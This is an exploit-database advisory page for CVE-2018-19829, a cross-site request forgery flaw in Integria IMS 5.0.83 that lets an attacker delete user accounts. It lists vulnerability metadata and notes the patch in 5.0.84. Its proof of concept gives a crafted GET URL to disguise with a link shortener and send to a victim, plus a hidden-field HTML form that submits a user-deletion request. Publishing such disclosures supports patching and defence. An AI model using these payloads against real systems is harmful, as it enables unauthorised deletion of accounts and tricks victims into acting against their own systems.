Integria IMS 5.0.83 - Cross-Site Request Forgery

vendor:

Integria IMS

by:

Javier Olmedo

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Integria IMS

Affected Version From: 5.0.83

Affected Version To: 5.0.83

Patch Exists: YES

Related CWE: 2018-19829

CPE: cpe:2.3:a:articast:integriaims:5.0.83:*:*:*:*:*:*:*

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows & Ubuntu

2018

Integria IMS 5.0.83 – Cross-Site Request Forgery

Integria IMS version 5.0.83 and possibly before are affected by Cross-Site Request Forgery vulnerability, an attacker could delete users through GET or POST requests.

Mitigation:

The vendor has released a patch for this vulnerability in version 5.0.84.

Source

Exploit-DB raw data:

# Exploit Title: Integria IMS 5.0.83 - Cross-Site Request Forgery
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-12-19
# Google Dork: N/A
# Vendor: Artica ST
# Software Link: https://github.com/articaST/integriaims
# Affected Version: 5.0.83 and possibly before
# Patched Version: 5.0.84
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-19829
# References:
# https://hackpuntes.com/cve-2018-19829-integria-ims-5-0-83-cross-site-request-forgery/
# https://github.com/articaST/integriaims/commit/a37c0c3d7cad74df64bfd3d98488aee4fa28b839

# 1. Technical Description:
# Integria IMS version 5.0.83 and possibly before are affected by Cross-Site Request Forgery
# vulnerability, an attacker could delete users through GET or POST requests.
 
# 2.1 Proof Of Concept (Delete User):

(Method 1 - GET)
Use Google URL Shortener (or similar) to shorten the next url
http://[PATH]/ajax.php?page=include/ajax/delete_item_general&delete_item=1&name=delete_user&id=[ID])
and send it to the victim.

(Method 2 - POST)
Use next form and send it tho the victim.
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/index.php">
      <input type="hidden" name="sec" value="users" />
      <input type="hidden" name="sec2" value="godmode&#47;usuarios&#47;lista&#95;usuarios" />
      <input type="hidden" name="borrar&#95;usuario" value="[ID]" />
      <input type="submit" value="Delete user" />
    </form>
  </body>
</html>